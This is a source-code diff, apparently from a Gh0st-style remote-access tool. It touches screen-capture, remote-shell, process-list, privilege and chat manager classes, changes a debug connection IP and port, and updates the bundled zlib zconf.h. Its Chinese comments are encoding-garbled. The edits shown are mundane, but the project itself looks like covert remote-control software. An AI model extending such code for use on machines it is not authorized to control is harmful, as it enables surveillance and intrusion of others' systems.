// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
ulv1 = ulszBufferOffset + sizeof(int); //4
ulv2 = ulv1 + sizeof(int); //8
ulv1 = ulszBufferOffset + sizeof(int);
ulv2 = ulv1 + sizeof(int);
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
/*
[1][2][3][3]
[1][3][2][1]
[0000][ ][1321]
*/
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++)
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
@@ -272,9 +266,8 @@ ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
return ulszBufferOffset;
}

View File

@@ -46,6 +46,8 @@ public:
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength);
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
};
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

View File

@@ -130,7 +130,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
LocalFree(szTotalBuffer);
}
}
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>"<<endl;
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n";
return 0;
}

View File

@@ -40,3 +40,28 @@
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
#include <time.h>
#include <stdio.h>
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
class auto_tick
{
private:
const char *func;
int threshold;
clock_t tick;
__inline clock_t now() const { return clock(); }
public:
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
__inline int time() const { return now() - tick; }
};
#ifdef _DEBUG
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh)
#else
#define AUTO_TICK(thresh)
#endif

View File

@@ -132,7 +132,7 @@ LPBYTE CSystemManager::GetProcessList()
CSystemManager::~CSystemManager()
{
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
}
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)

View File

@@ -37,7 +37,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
CTalkManager::~CTalkManager()
{
cout<<"Talk <20><><EFBFBD><EFBFBD>"<<endl;
cout<<"Talk <20><><EFBFBD><EFBFBD>\n";
}
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -52,7 +52,7 @@
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
@@ -68,7 +68,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>

View File

@@ -2,10 +2,10 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.43.165 2356</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.43.165 2356</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
</PropertyGroup>
</Project>

View File

@@ -1,102 +1,257 @@
/* zconf.h -- configuration of the zlib compression library
* Copyright (C) 1995-2002 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
* Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#ifndef _ZCONF_H
#define _ZCONF_H
#ifndef ZCONF_H
#define ZCONF_H
/*
* If you *really* need a unique prefix for all types and library functions,
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
* Even better than compiling with -DZ_PREFIX would be to use configure to set
* this permanently in zconf.h using "./configure --zprefix".
*/
#ifdef Z_PREFIX
# define deflateInit_ z_deflateInit_
# define deflate z_deflate
# define deflateEnd z_deflateEnd
# define inflateInit_ z_inflateInit_
# define inflate z_inflate
# define inflateEnd z_inflateEnd
# define deflateInit2_ z_deflateInit2_
# define deflateSetDictionary z_deflateSetDictionary
# define deflateCopy z_deflateCopy
# define deflateReset z_deflateReset
# define deflateParams z_deflateParams
# define inflateInit2_ z_inflateInit2_
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateReset z_inflateReset
# define compress z_compress
# define compress2 z_compress2
# define uncompress z_uncompress
# define adler32 z_adler32
# define crc32 z_crc32
# define get_crc_table z_get_crc_table
#ifdef Z_PREFIX /* may be set to #if 1 by ./configure */
# define Z_PREFIX_SET
# define Byte z_Byte
# define uInt z_uInt
# define uLong z_uLong
# define Bytef z_Bytef
# define charf z_charf
# define intf z_intf
# define uIntf z_uIntf
# define uLongf z_uLongf
# define voidpf z_voidpf
# define voidp z_voidp
#endif
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
# define WIN32
#endif
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
# ifndef __32BIT__
# define __32BIT__
/* all linked symbols and init macros */
# define _dist_code z__dist_code
# define _length_code z__length_code
# define _tr_align z__tr_align
# define _tr_flush_bits z__tr_flush_bits
# define _tr_flush_block z__tr_flush_block
# define _tr_init z__tr_init
# define _tr_stored_block z__tr_stored_block
# define _tr_tally z__tr_tally
# define adler32 z_adler32
# define adler32_combine z_adler32_combine
# define adler32_combine64 z_adler32_combine64
# define adler32_z z_adler32_z
# ifndef Z_SOLO
# define compress z_compress
# define compress2 z_compress2
# define compressBound z_compressBound
# endif
# define crc32 z_crc32
# define crc32_combine z_crc32_combine
# define crc32_combine64 z_crc32_combine64
# define crc32_z z_crc32_z
# define deflate z_deflate
# define deflateBound z_deflateBound
# define deflateCopy z_deflateCopy
# define deflateEnd z_deflateEnd
# define deflateGetDictionary z_deflateGetDictionary
# define deflateInit z_deflateInit
# define deflateInit2 z_deflateInit2
# define deflateInit2_ z_deflateInit2_
# define deflateInit_ z_deflateInit_
# define deflateParams z_deflateParams
# define deflatePending z_deflatePending
# define deflatePrime z_deflatePrime
# define deflateReset z_deflateReset
# define deflateResetKeep z_deflateResetKeep
# define deflateSetDictionary z_deflateSetDictionary
# define deflateSetHeader z_deflateSetHeader
# define deflateTune z_deflateTune
# define deflate_copyright z_deflate_copyright
# define get_crc_table z_get_crc_table
# ifndef Z_SOLO
# define gz_error z_gz_error
# define gz_intmax z_gz_intmax
# define gz_strwinerror z_gz_strwinerror
# define gzbuffer z_gzbuffer
# define gzclearerr z_gzclearerr
# define gzclose z_gzclose
# define gzclose_r z_gzclose_r
# define gzclose_w z_gzclose_w
# define gzdirect z_gzdirect
# define gzdopen z_gzdopen
# define gzeof z_gzeof
# define gzerror z_gzerror
# define gzflush z_gzflush
# define gzfread z_gzfread
# define gzfwrite z_gzfwrite
# define gzgetc z_gzgetc
# define gzgetc_ z_gzgetc_
# define gzgets z_gzgets
# define gzoffset z_gzoffset
# define gzoffset64 z_gzoffset64
# define gzopen z_gzopen
# define gzopen64 z_gzopen64
# ifdef _WIN32
# define gzopen_w z_gzopen_w
# endif
# define gzprintf z_gzprintf
# define gzputc z_gzputc
# define gzputs z_gzputs
# define gzread z_gzread
# define gzrewind z_gzrewind
# define gzseek z_gzseek
# define gzseek64 z_gzseek64
# define gzsetparams z_gzsetparams
# define gztell z_gztell
# define gztell64 z_gztell64
# define gzungetc z_gzungetc
# define gzvprintf z_gzvprintf
# define gzwrite z_gzwrite
# endif
# define inflate z_inflate
# define inflateBack z_inflateBack
# define inflateBackEnd z_inflateBackEnd
# define inflateBackInit z_inflateBackInit
# define inflateBackInit_ z_inflateBackInit_
# define inflateCodesUsed z_inflateCodesUsed
# define inflateCopy z_inflateCopy
# define inflateEnd z_inflateEnd
# define inflateGetDictionary z_inflateGetDictionary
# define inflateGetHeader z_inflateGetHeader
# define inflateInit z_inflateInit
# define inflateInit2 z_inflateInit2
# define inflateInit2_ z_inflateInit2_
# define inflateInit_ z_inflateInit_
# define inflateMark z_inflateMark
# define inflatePrime z_inflatePrime
# define inflateReset z_inflateReset
# define inflateReset2 z_inflateReset2
# define inflateResetKeep z_inflateResetKeep
# define inflateSetDictionary z_inflateSetDictionary
# define inflateSync z_inflateSync
# define inflateSyncPoint z_inflateSyncPoint
# define inflateUndermine z_inflateUndermine
# define inflateValidate z_inflateValidate
# define inflate_copyright z_inflate_copyright
# define inflate_fast z_inflate_fast
# define inflate_table z_inflate_table
# ifndef Z_SOLO
# define uncompress z_uncompress
# define uncompress2 z_uncompress2
# endif
# define zError z_zError
# ifndef Z_SOLO
# define zcalloc z_zcalloc
# define zcfree z_zcfree
# endif
# define zlibCompileFlags z_zlibCompileFlags
# define zlibVersion z_zlibVersion
/* all zlib typedefs in zlib.h and zconf.h */
# define Byte z_Byte
# define Bytef z_Bytef
# define alloc_func z_alloc_func
# define charf z_charf
# define free_func z_free_func
# ifndef Z_SOLO
# define gzFile z_gzFile
# endif
# define gz_header z_gz_header
# define gz_headerp z_gz_headerp
# define in_func z_in_func
# define intf z_intf
# define out_func z_out_func
# define uInt z_uInt
# define uIntf z_uIntf
# define uLong z_uLong
# define uLongf z_uLongf
# define voidp z_voidp
# define voidpc z_voidpc
# define voidpf z_voidpf
/* all zlib structs in zlib.h and zconf.h */
# define gz_header_s z_gz_header_s
# define internal_state z_internal_state
#endif
#if defined(__MSDOS__) && !defined(MSDOS)
# define MSDOS
#endif
#if (defined(OS_2) || defined(__OS2__)) && !defined(OS2)
# define OS2
#endif
#if defined(_WINDOWS) && !defined(WINDOWS)
# define WINDOWS
#endif
#if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__)
# ifndef WIN32
# define WIN32
# endif
#endif
#if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32)
# if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__)
# ifndef SYS16BIT
# define SYS16BIT
# endif
# endif
#endif
/*
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
* than 64k bytes at a time (needed on systems with 16-bit int).
*/
#if defined(MSDOS) && !defined(__32BIT__)
#ifdef SYS16BIT
# define MAXSEG_64K
#endif
#ifdef MSDOS
# define UNALIGNED_OK
#endif
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
# define STDC
#endif
#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
#ifdef __STDC_VERSION__
# ifndef STDC
# define STDC
# endif
# if __STDC_VERSION__ >= 199901L
# ifndef STDC99
# define STDC99
# endif
# endif
#endif
#if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus))
# define STDC
#endif
#if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__))
# define STDC
#endif
#if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32))
# define STDC
#endif
#if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__))
# define STDC
#endif
#if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */
# define STDC
#endif
#ifndef STDC
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
# define const
# define const /* note: need a more gentle solution here */
# endif
#endif
/* Some Mac compilers merge all .h files incorrectly: */
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
# define NO_DUMMY_DECL
#if defined(ZLIB_CONST) && !defined(z_const)
# define z_const const
#else
# define z_const
#endif
/* Old Borland C incorrectly complains about missing returns: */
#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
# define NEED_DUMMY_RETURN
#ifdef Z_SOLO
typedef unsigned long z_size_t;
#else
# define z_longlong long long
# if defined(NO_SIZE_T)
typedef unsigned NO_SIZE_T z_size_t;
# elif defined(STDC)
# include <stddef.h>
typedef size_t z_size_t;
# else
typedef unsigned long z_size_t;
# endif
# undef z_longlong
#endif
/* Maximum value for memLevel in deflateInit2 */
#ifndef MAX_MEM_LEVEL
# ifdef MAXSEG_64K
@@ -124,7 +279,7 @@
Of course this will generally degrade compression (there's no free lunch).
The memory requirements for inflate are (in bytes) 1 << windowBits
that is, 32K for windowBits=15 (default value) plus a few kilobytes
that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
for small objects.
*/
@@ -138,79 +293,101 @@
# endif
#endif
#ifndef Z_ARG /* function prototypes for stdarg */
# if defined(STDC) || defined(Z_HAVE_STDARG_H)
# define Z_ARG(args) args
# else
# define Z_ARG(args) ()
# endif
#endif
/* The following definitions for FAR are needed only for MSDOS mixed
* model programming (small or medium model with some far allocations).
* This was tested only with MSC; for other MSDOS compilers you may have
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
* just define FAR to be empty.
*/
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
/* MSC small or medium model */
# define SMALL_MEDIUM
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
#endif
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
# ifndef __32BIT__
#ifdef SYS16BIT
# if defined(M_I86SM) || defined(M_I86MM)
/* MSC small or medium model */
# define SMALL_MEDIUM
# define FAR _far
# ifdef _MSC_VER
# define FAR _far
# else
# define FAR far
# endif
# endif
# if (defined(__SMALL__) || defined(__MEDIUM__))
/* Turbo C small or medium model */
# define SMALL_MEDIUM
# ifdef __BORLANDC__
# define FAR _far
# else
# define FAR far
# endif
# endif
#endif
/* Compile with -DZLIB_DLL for Windows DLL support */
#if defined(ZLIB_DLL)
# if defined(_WINDOWS) || defined(WINDOWS)
#if defined(WINDOWS) || defined(WIN32)
/* If building or using zlib as a DLL, define ZLIB_DLL.
* This is not mandatory, but it offers a little performance increase.
*/
# ifdef ZLIB_DLL
# if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500))
# ifdef ZLIB_INTERNAL
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# endif
# endif
# endif /* ZLIB_DLL */
/* If building or using zlib with the WINAPI/WINAPIV calling convention,
* define ZLIB_WINAPI.
* Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI.
*/
# ifdef ZLIB_WINAPI
# ifdef FAR
# undef FAR
# endif
# include <windows.h>
# define ZEXPORT WINAPI
/* No need for _export, use ZLIB.DEF instead. */
/* For complete Windows compatibility, use WINAPI, not __stdcall. */
# define ZEXPORT WINAPI
# ifdef WIN32
# define ZEXPORTVA WINAPIV
# define ZEXPORTVA WINAPIV
# else
# define ZEXPORTVA FAR _cdecl _export
# endif
# endif
# if defined (__BORLANDC__)
# if (__BORLANDC__ >= 0x0500) && defined (WIN32)
# include <windows.h>
# define ZEXPORT __declspec(dllexport) WINAPI
# define ZEXPORTRVA __declspec(dllexport) WINAPIV
# else
# if defined (_Windows) && defined (__DLL__)
# define ZEXPORT _export
# define ZEXPORTVA _export
# endif
# define ZEXPORTVA FAR CDECL
# endif
# endif
#endif
#if defined (__BEOS__)
# if defined (ZLIB_DLL)
# define ZEXTERN extern __declspec(dllexport)
# else
# define ZEXTERN extern __declspec(dllimport)
# ifdef ZLIB_DLL
# ifdef ZLIB_INTERNAL
# define ZEXPORT __declspec(dllexport)
# define ZEXPORTVA __declspec(dllexport)
# else
# define ZEXPORT __declspec(dllimport)
# define ZEXPORTVA __declspec(dllimport)
# endif
# endif
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef ZEXPORT
# define ZEXPORT
#endif
#ifndef ZEXPORTVA
# define ZEXPORTVA
#endif
#ifndef ZEXTERN
# define ZEXTERN extern
#endif
#ifndef FAR
# define FAR
# define FAR
#endif
#if !defined(MACOS) && !defined(TARGET_OS_MAC)
#if !defined(__MACTYPES__)
typedef unsigned char Byte; /* 8 bits */
#endif
typedef unsigned int uInt; /* 16 bits or more */
@@ -228,52 +405,130 @@ typedef uInt FAR uIntf;
typedef uLong FAR uLongf;
#ifdef STDC
typedef void FAR *voidpf;
typedef void *voidp;
typedef void const *voidpc;
typedef void FAR *voidpf;
typedef void *voidp;
#else
typedef Byte FAR *voidpf;
typedef Byte *voidp;
typedef Byte const *voidpc;
typedef Byte FAR *voidpf;
typedef Byte *voidp;
#endif
#ifdef HAVE_UNISTD_H
# include <sys/types.h> /* for off_t */
# include <unistd.h> /* for SEEK_* and off_t */
# define z_off_t off_t
#if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC)
# include <limits.h>
# if (UINT_MAX == 0xffffffffUL)
# define Z_U4 unsigned
# elif (ULONG_MAX == 0xffffffffUL)
# define Z_U4 unsigned long
# elif (USHRT_MAX == 0xffffffffUL)
# define Z_U4 unsigned short
# endif
#endif
#ifndef SEEK_SET
#ifdef Z_U4
typedef Z_U4 z_crc_t;
#else
typedef unsigned long z_crc_t;
#endif
#ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */
# define Z_HAVE_UNISTD_H
#endif
#ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */
# define Z_HAVE_STDARG_H
#endif
#ifdef STDC
# ifndef Z_SOLO
# include <sys/types.h> /* for off_t */
# endif
#endif
#if defined(STDC) || defined(Z_HAVE_STDARG_H)
# ifndef Z_SOLO
# include <stdarg.h> /* for va_list */
# endif
#endif
#ifdef _WIN32
# ifndef Z_SOLO
# include <stddef.h> /* for wchar_t */
# endif
#endif
/* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and
* "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even
* though the former does not conform to the LFS document), but considering
* both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as
* equivalently requesting no 64-bit operations
*/
#if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1
# undef _LARGEFILE64_SOURCE
#endif
#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
# define Z_HAVE_UNISTD_H
#endif
#ifndef Z_SOLO
# if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
# include <unistd.h> /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
# ifdef VMS
# include <unixio.h> /* for off_t */
# endif
# ifndef z_off_t
# define z_off_t off_t
# endif
# endif
#endif
#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
# define Z_LFS64
#endif
#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
# define Z_LARGE64
#endif
#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64)
# define Z_WANT64
#endif
#if !defined(SEEK_SET) && !defined(Z_SOLO)
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
#endif
#ifndef z_off_t
# define z_off_t long
# define z_off_t long
#endif
#if !defined(_WIN32) && defined(Z_LARGE64)
# define z_off64_t off64_t
#else
# if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
# define z_off64_t __int64
# else
# define z_off64_t z_off_t
# endif
#endif
/* MVS linker does not support external names larger than 8 bytes */
#if defined(__MVS__)
# pragma map(deflateInit_,"DEIN")
# pragma map(deflateInit2_,"DEIN2")
# pragma map(deflateEnd,"DEEND")
# pragma map(inflateInit_,"ININ")
# pragma map(inflateInit2_,"ININ2")
# pragma map(inflateEnd,"INEND")
# pragma map(inflateSync,"INSY")
# pragma map(inflateSetDictionary,"INSEDI")
# pragma map(inflate_blocks,"INBL")
# pragma map(inflate_blocks_new,"INBLNE")
# pragma map(inflate_blocks_free,"INBLFR")
# pragma map(inflate_blocks_reset,"INBLRE")
# pragma map(inflate_codes_free,"INCOFR")
# pragma map(inflate_codes,"INCO")
# pragma map(inflate_fast,"INFA")
# pragma map(inflate_flush,"INFLU")
# pragma map(inflate_mask,"INMA")
# pragma map(inflate_set_dictionary,"INSEDI2")
# pragma map(inflate_copyright,"INCOPY")
# pragma map(inflate_trees_bits,"INTRBI")
# pragma map(inflate_trees_dynamic,"INTRDY")
# pragma map(inflate_trees_fixed,"INTRFI")
# pragma map(inflate_trees_free,"INTRFR")
#pragma map(deflateInit_,"DEIN")
#pragma map(deflateInit2_,"DEIN2")
#pragma map(deflateEnd,"DEEND")
#pragma map(deflateBound,"DEBND")
#pragma map(inflateInit_,"ININ")
#pragma map(inflateInit2_,"ININ2")
#pragma map(inflateEnd,"INEND")
#pragma map(inflateSync,"INSY")
#pragma map(inflateSetDictionary,"INSEDI")
#pragma map(compressBound,"CMBND")
#pragma map(inflate_table,"INTABL")
#pragma map(inflate_fast,"INFA")
#pragma map(inflate_copyright,"INCOPY")
#endif
#endif /* _ZCONF_H */
#endif /* ZCONF_H */

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